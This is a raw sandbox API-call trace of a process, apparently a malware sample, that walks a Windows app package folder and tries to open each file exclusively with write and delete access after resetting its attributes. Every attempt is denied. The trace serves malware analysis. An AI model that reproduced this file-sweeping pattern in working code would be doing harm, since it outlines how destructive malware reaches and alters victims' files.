	[0082.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2891078c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9bb295, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2891078c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6c50
	[0082.286] wcscmp (_String1=".", _String2=".") returned 0
	[0082.286] FindNextFileW (in: hFindFile=0x46a6c50, lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2891078c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9bb295, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2891078c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.286] wcscmp (_String1="..", _String2=".") returned 1
	[0082.286] wcscmp (_String1="..", _String2="..") returned 0
	[0082.286] FindNextFileW (in: hFindFile=0x46a6c50, lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2891078c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289369e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3882, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0082.286] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0082.286] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0082.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32998
	[0082.286] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.286] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.286] wcscat (in: _Dest=0x4e32998, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.768] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.770] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.771] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.771] GetLastError () returned 0x5
	[0090.771] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0090.771] FindNextFileW (in: hFindFile=0x46a6c50, lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2891078c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289369e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3882, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.771] FindClose (in: hFindFile=0x46a6c50 | out: hFindFile=0x46a6c50) returned 1
	[0090.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4713818) returned 1
	[0090.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbcb0) returned 1
	[0090.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770870) returned 1

Thread:
	id = 924
	os_tid = 0x13b8

	[0082.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.287] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.287] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.287] GetLastError () returned 0x5
	[0082.287] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9d20) returned 1

Thread:
	id = 925
	os_tid = 0x1394

	[0082.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c8ce0
	[0082.288] wcscpy (in: _Dest=0x47c8ce0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0082.288] wcscat (in: _Dest=0x47c8ce0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0082.288] wcscat (in: _Dest=0x47c8ce0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0082.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713a80
	[0082.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2895cc43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb21004, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28bc9f4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6c90
	[0082.291] wcscmp (_String1=".", _String2=".") returned 0
	[0082.291] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2895cc43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb21004, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28bc9f4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.292] wcscmp (_String1="..", _String2=".") returned 1
	[0082.292] wcscmp (_String1="..", _String2="..") returned 0
	[0082.292] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2895cc43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2895cc43, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2895cc43, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0082.292] wcscmp (_String1="BadgeLogo.scale-200.png", _String2=".") returned 1
	[0082.292] wcscmp (_String1="BadgeLogo.scale-200.png", _String2="..") returned 1
	[0082.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32a80
	[0082.292] wcscpy (in: _Dest=0x4e32a80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0082.292] wcscat (in: _Dest=0x4e32a80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0082.292] wcscat (in: _Dest=0x4e32a80, _Source="BadgeLogo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-200.png"
	[0090.701] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo.scale-200.png")) returned 0x20
	[0090.703] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.704] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.704] GetLastError () returned 0x5
	[0090.704] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32a80) returned 1
	[0090.704] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2895cc43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2895cc43, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2895cc43, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo1.targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.704] wcscmp (_String1="BadgeLogo1.targetsize-16.png", _String2=".") returned 1
	[0090.704] wcscmp (_String1="BadgeLogo1.targetsize-16.png", _String2="..") returned 1
	[0090.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491cb98
	[0090.704] wcscpy (in: _Dest=0x491cb98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.704] wcscat (in: _Dest=0x491cb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.704] wcscat (in: _Dest=0x491cb98, _Source="BadgeLogo1.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-16.png"
	[0090.704] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-16.png")) returned 0x20
	[0090.707] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.708] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.708] GetLastError () returned 0x5
	[0090.708] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cb98) returned 1
	[0090.708] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2895cc43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2895cc43, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2895cc43, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo1.targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.708] wcscmp (_String1="BadgeLogo1.targetsize-24.png", _String2=".") returned 1
	[0090.708] wcscmp (_String1="BadgeLogo1.targetsize-24.png", _String2="..") returned 1
	[0090.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491bc18
	[0090.708] wcscpy (in: _Dest=0x491bc18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.708] wcscat (in: _Dest=0x491bc18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.708] wcscat (in: _Dest=0x491bc18, _Source="BadgeLogo1.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-24.png"
	[0090.708] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-24.png")) returned 0x20
	[0090.708] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.708] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.708] GetLastError () returned 0x5
	[0090.708] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bc18) returned 1
	[0090.709] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28982e9c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28982e9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28982e9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo1.targetsize-36.png", cAlternateFileName="")) returned 1
	[0090.709] wcscmp (_String1="BadgeLogo1.targetsize-36.png", _String2=".") returned 1
	[0090.709] wcscmp (_String1="BadgeLogo1.targetsize-36.png", _String2="..") returned 1
	[0090.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b458
	[0090.709] wcscpy (in: _Dest=0x491b458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.709] wcscat (in: _Dest=0x491b458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.709] wcscat (in: _Dest=0x491b458, _Source="BadgeLogo1.targetsize-36.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-36.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-36.png"
	[0090.709] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-36.png")) returned 0x20
	[0090.709] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.709] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-36.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.709] GetLastError () returned 0x5
	[0090.709] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b458) returned 1
	[0090.709] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28982e9c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28982e9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28982e9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo1.targetsize-54.png", cAlternateFileName="")) returned 1
	[0090.709] wcscmp (_String1="BadgeLogo1.targetsize-54.png", _String2=".") returned 1
	[0090.709] wcscmp (_String1="BadgeLogo1.targetsize-54.png", _String2="..") returned 1
	[0090.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491caa0
	[0090.709] wcscpy (in: _Dest=0x491caa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.709] wcscat (in: _Dest=0x491caa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.709] wcscat (in: _Dest=0x491caa0, _Source="BadgeLogo1.targetsize-54.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-54.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-54.png"
	[0090.710] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-54.png")) returned 0x20
	[0090.710] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-54.png", dwFileAttributes=0x20) returned 0
	[0090.710] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo1.targetsize-54.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.710] GetLastError () returned 0x5
	[0090.710] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo1.targetsize-54.png", dwFileAttributes=0x20) returned 0
	[0090.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491caa0) returned 1
	[0090.710] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28982e9c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28982e9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28982e9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo2.targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.710] wcscmp (_String1="BadgeLogo2.targetsize-16.png", _String2=".") returned 1
	[0090.710] wcscmp (_String1="BadgeLogo2.targetsize-16.png", _String2="..") returned 1
